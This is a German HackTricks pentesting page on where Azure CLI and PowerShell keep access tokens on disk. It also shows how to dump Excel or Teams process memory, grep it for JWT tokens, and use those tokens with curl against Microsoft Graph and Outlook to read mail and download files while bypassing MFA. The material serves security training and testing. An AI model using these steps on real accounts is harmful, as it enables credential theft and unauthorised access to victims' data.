Az - Lokale Cloud-Anmeldeinformationen

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Lokale Token-Speicherung und Sicherheitsüberlegungen

Azure CLI (Befehlszeilenschnittstelle)

Tokens und sensible Daten werden lokal von Azure CLI gespeichert, was Sicherheitsbedenken aufwirft:

  1. Zugriffstoken: Im Klartext in accessTokens.json gespeichert, das sich unter C:\Users\<username>\.Azure befindet.
  2. Abonnementinformationen: azureProfile.json, im selben Verzeichnis, enthält Abonnementdetails.
  3. Protokolldateien: Der Ordner ErrorRecords innerhalb von .azure könnte Protokolle mit exponierten Anmeldeinformationen enthalten, wie z.B.:
  • Ausgeführte Befehle mit eingebetteten Anmeldeinformationen.
  • Über Tokens aufgerufene URLs, die potenziell sensible Informationen offenbaren.

Azure PowerShell

Azure PowerShell speichert ebenfalls Tokens und sensible Daten, die lokal abgerufen werden können:

  1. Zugriffstoken: TokenCache.dat, das sich unter C:\Users\<username>\.Azure befindet, speichert Zugriffstoken im Klartext.
  2. Secrets von Dienstprinzipalen: Diese werden unverschlüsselt in AzureRmContext.json gespeichert.
  3. Token-Speicherfunktion: Benutzer haben die Möglichkeit, Tokens mit dem Befehl Save-AzContext zu speichern, was vorsichtig verwendet werden sollte, um unbefugten Zugriff zu verhindern.

Automatische Tools, um sie zu finden

Tokens im Speicher

Wie in diesem Video erklärt, könnte einige Microsoft-Software, die mit der Cloud synchronisiert ist (Excel, Teams...), Zugriffstoken im Klartext im Speicher speichern. Daher könnte einfaches Dumping des Speichers des Prozesses und Greppen nach JWT-Tokens Ihnen Zugriff auf mehrere Ressourcen des Opfers in der Cloud gewähren, indem MFA umgangen wird.

Schritte:

  1. Dumpen Sie die Excel-Prozesse, die mit dem EntraID-Benutzer synchronisiert sind, mit Ihrem bevorzugten Tool.
  2. Führen Sie aus: string excel.dmp | grep 'eyJ0' und finden Sie mehrere Tokens in der Ausgabe.
  3. Finden Sie die Tokens, die Sie am meisten interessieren, und führen Sie Tools über sie aus:
bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Beachten Sie, dass diese Art von Zugriffstoken auch in anderen Prozessen gefunden werden kann.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks